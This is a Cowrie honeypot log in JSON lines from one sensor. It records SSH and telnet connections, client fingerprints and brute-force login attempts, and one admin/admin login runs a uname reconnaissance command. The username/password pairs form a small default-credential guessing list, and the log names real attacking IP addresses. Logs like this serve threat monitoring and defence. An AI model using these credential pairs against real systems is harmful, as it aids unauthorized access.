{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:13.007999Z","src_ip":"91.92.42.227","session":"34c5cc7f57ad","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:13.150208Z","src_ip":"91.92.42.227","session":"71cef464e6a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:13.153138Z","src_ip":"91.92.42.227","session":"71cef464e6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.578158378601074,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:13.872367Z","src_ip":"128.199.8.54","session":"3006c226aa46","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:16.359539Z","src_ip":"91.92.42.227","session":"71cef464e6a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.098594188690186,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:17.231627Z","src_ip":"128.199.8.54","session":"08c4e579ffba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:18.332445Z","src_ip":"91.92.42.227","session":"71cef464e6a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36484,"dst_ip":"10.17.0.5","dst_port":22,"session":"d23b750a60e9","protocol":"ssh","message":"New connection: 91.92.42.227:36484 (10.17.0.5:22) [session: d23b750a60e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:20.472565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:20.789479Z","src_ip":"91.92.42.227","session":"d23b750a60e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:20.793171Z","src_ip":"91.92.42.227","session":"d23b750a60e9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:22.679580Z","src_ip":"91.92.42.227","session":"d23b750a60e9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:24.451572Z","src_ip":"91.92.42.227","session":"d23b750a60e9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:24.453896Z","src_ip":"91.92.42.227","session":"d23b750a60e9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:25.136132Z","src_ip":"91.92.42.227","session":"d23b750a60e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:25.140893Z","src_ip":"91.92.42.227","session":"d23b750a60e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38924,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7e43fee83d4","protocol":"ssh","message":"New connection: 91.92.42.227:38924 (10.17.0.5:22) [session: b7e43fee83d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:26.977340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:27.485555Z","src_ip":"91.92.42.227","session":"b7e43fee83d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:27.489680Z","src_ip":"91.92.42.227","session":"b7e43fee83d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:30.399501Z","src_ip":"91.92.42.227","session":"b7e43fee83d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":40574,"dst_ip":"159.203.135.109","dst_port":22,"session":"9176a6074dc3","protocol":"ssh","message":"New connection: 103.252.123.105:40574 (159.203.135.109:22) [session: 9176a6074dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:30.712504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:30.719473Z","src_ip":"103.252.123.105","session":"9176a6074dc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:30.946398Z","src_ip":"103.252.123.105","session":"9176a6074dc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:31.823702Z","src_ip":"91.92.42.227","session":"b7e43fee83d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scc","password":"scc","message":"login attempt [scc/scc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:31.889909Z","src_ip":"103.252.123.105","session":"9176a6074dc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44990,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab077024bb86","protocol":"telnet","message":"New connection: 128.199.8.54:44990 (159.203.135.109:23) [session: ab077024bb86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:33.062675Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:33.120626Z","src_ip":"103.252.123.105","session":"9176a6074dc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55268,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4d7da6b89e5","protocol":"ssh","message":"New connection: 91.92.42.227:55268 (10.17.0.5:22) [session: f4d7da6b89e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:35.282528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:35.417557Z","src_ip":"91.92.42.227","session":"f4d7da6b89e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:35.422954Z","src_ip":"91.92.42.227","session":"f4d7da6b89e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:36.622652Z","src_ip":"91.92.42.227","session":"f4d7da6b89e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:38.026283Z","src_ip":"91.92.42.227","session":"f4d7da6b89e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55292,"dst_ip":"10.17.0.5","dst_port":22,"session":"02317f180b19","protocol":"ssh","message":"New connection: 91.92.42.227:55292 (10.17.0.5:22) [session: 02317f180b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:41.714266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:42.149332Z","src_ip":"91.92.42.227","session":"02317f180b19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:42.152802Z","src_ip":"91.92.42.227","session":"02317f180b19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40295,"dst_ip":"159.203.135.109","dst_port":22,"session":"920861bfb791","protocol":"ssh","message":"New connection: 168.167.228.74:40295 (159.203.135.109:22) [session: 920861bfb791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:42.394540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:42.397271Z","src_ip":"168.167.228.74","session":"920861bfb791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:42.642085Z","src_ip":"168.167.228.74","session":"920861bfb791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.294573068618774,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:42.924854Z","src_ip":"107.6.151.170","session":"27e7768462ec","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"gianni","message":"login attempt [root/gianni] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:43.672415Z","src_ip":"168.167.228.74","session":"920861bfb791","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:44.664440Z","src_ip":"91.92.42.227","session":"02317f180b19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:44.924336Z","src_ip":"168.167.228.74","session":"920861bfb791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:46.363338Z","src_ip":"91.92.42.227","session":"02317f180b19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":39840,"dst_ip":"10.17.0.5","dst_port":22,"session":"42e1ef891e80","protocol":"ssh","message":"New connection: 91.92.42.227:39840 (10.17.0.5:22) [session: 42e1ef891e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:48.364615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:49.381101Z","src_ip":"91.92.42.227","session":"42e1ef891e80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:39:49.389825Z","src_ip":"91.92.42.227","session":"42e1ef891e80","protocol":"ssh"}
